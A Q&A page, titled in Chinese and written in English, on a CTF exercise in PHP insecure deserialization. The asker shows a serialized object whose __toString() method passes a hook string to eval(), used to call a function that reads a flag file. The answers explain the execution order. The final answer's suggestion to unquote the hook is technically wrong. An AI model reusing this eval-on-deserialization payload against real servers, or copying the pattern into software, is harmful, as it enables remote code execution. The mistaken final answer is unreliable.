为什么代码仍然在“exit()”之后执行?

I'm doing a CTF challenge that is about insecure deserialization in PHP. The goal is to print the flag by injection code into the deserialization to execute the print_flag() function. I suspect that the webserver only prints the last line that the script echoes, which overrides the output of the flag, even when calling exit().

A part of the php-code running on the webserver is provided. I have implemented it in my own php-script to find out what works and what doesn't. I have succeeded in serializing an object that executes the code when deserialized. By calling exit(print_flag()); the flag is printed, without any further errors... At least in my script. When I send the serialized object to the webserver, it still prints further errors.

Additionally, I have tried returning a string from my injected code. That doesn't work either.

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized
";
$deserialized = unserialize($serialized);

The code is similar to the one shown in the challenge, but modified so it works for me.

I would expect the code to only return the flag. When executing the script on my own machine, the output is:

O:8:"Example2":1:{s:14:" Example2 hook";s:19:"exit(print_flag());";} thisistheflag

When I call it without exit():

PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"

The webserver returns:

Catchable fatal error: Method Example2::__toString() must return a string value in /var/www/index.php on line 79

How do I stop the error from printing?

The error is occurring because of unserialize($flag);. Since the argument to unserialize() is supposed to be a string, it tries to convert the Example2 object to a string. You probably meant to use unserialize($serialized);.

But more generally, you should ensure that the __toString() method returns a string. If you don't care what it is, you can return an empty string.

function __toString()
{
    if (isset($this->hook)) eval($this->hook);
    return "";
}

The error doesn't happen when you have exit() in the hook because the script exits before the __toString() method returns, so it never checks the return value.

Nothing is being executed after exit(). Here's the order of operations:

  • new Example2 - Creates new object
  • serialize($flag) - Creates a string representing the object
  • print "$serialized "; - Print the above string

None of the above steps need to call __toString(), so the hook is not yet executed.

  • deserialize($flag) - This needs to convert $flag to a string so it can be parsed as serialized data.
    • Call $flag->__toString()
    • eval($this->hook)
    • Call print_flag(), which prints the flag
    • Call exit(), which terminates the script

So you see the serialized object printed, then the flag is printed, then nothing else because of exit().

To demonstrate the vulnerability, you should call unserialize() with the correct argument.

$deserialized = unserialize($seralized);
echo $deserialized;

This echo statement will cause the __toString() method to be invoked. This will then exit the script, and you won't get the error message.

Remove the double quotes in your constructor, function __construct() instead of

function __construct() {
    $this->hook = "exit(print_flag());";
}

use

function __construct() {
    $this->hook = exit(print_flag());
}